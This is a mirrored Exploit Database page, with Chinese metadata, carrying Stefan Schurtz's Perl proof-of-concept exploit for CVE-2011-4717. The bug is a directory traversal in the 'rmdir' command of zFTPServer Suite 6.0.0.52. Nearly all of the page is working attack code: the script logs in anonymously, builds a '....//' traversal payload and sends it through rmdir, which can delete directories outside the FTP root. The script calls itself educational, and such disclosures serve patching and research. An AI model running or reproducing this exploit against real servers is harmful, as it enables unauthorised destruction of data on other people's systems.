zFTPServer Suite 6.0.0.52 – ‘rmdir’ Directory Traversal

• Exploit Database
• 104 阅读

• 作者： Stefan Schurtz
  日期： 2011-12-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18235/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71

  #!/usr/bin/perl ################################################################################# # Advisory: zFTPServer Suite 6.0.0.52 &apos;rmdir&apos; Directory Traversal # Author: Stefan Schurtz # Contact: sschurtz@t-online.de # Affected Software: Successfully tested on zFTPServer Suite 6.0.0.52 # Vendor URL: http://www.zftpserver.com/ # Vendor Status: fixed # CVE-ID: CVE-2011-4717 # PoC-Version: 0.2 ################################################################################# use strict; use Net::FTP;   my $user = "anonymous"; my $password = "anonymous@";   ######################## # connect ######################## my $target = $ARGV[0]; my $plength = $ARGV[1];   print "\n"; print "\t#######################################################\n"; print "\t# This PoC-Exploit is only for educational purpose!!! #\n"; print "\t#######################################################\n"; print "\n";   if (!$ARGV[0]||!$ARGV[1]) { print "[+] Usage: $@ <target> <payload length>\n"; exit 1; }   my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target: $@"; print "[+] Connected to $target\n";   ######################## # login ######################## $ftp->login($user,$password) or die "Cannot login ", $ftp->message; print "[+] Logged in with user $user\n";   ################################################### # Building payload &apos;....//&apos; with min. length of 38 ################################################## my @p = ( "",".",".",".",".","/","/" ); my $payload;   print "[+] Building payload\n";   for (my $i=1;$i<=$plength;$i++) { $payload .= $p[$i]; push(@p,$p[$i]); } sleep(3);   ######################################### # Sending payload ######################################### print "[+] Sending payload $payload\n"; $ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;   ########################################## # disconnect ########################################## print "[+] Done\n"; $ftp->quit; exit 0; #EOF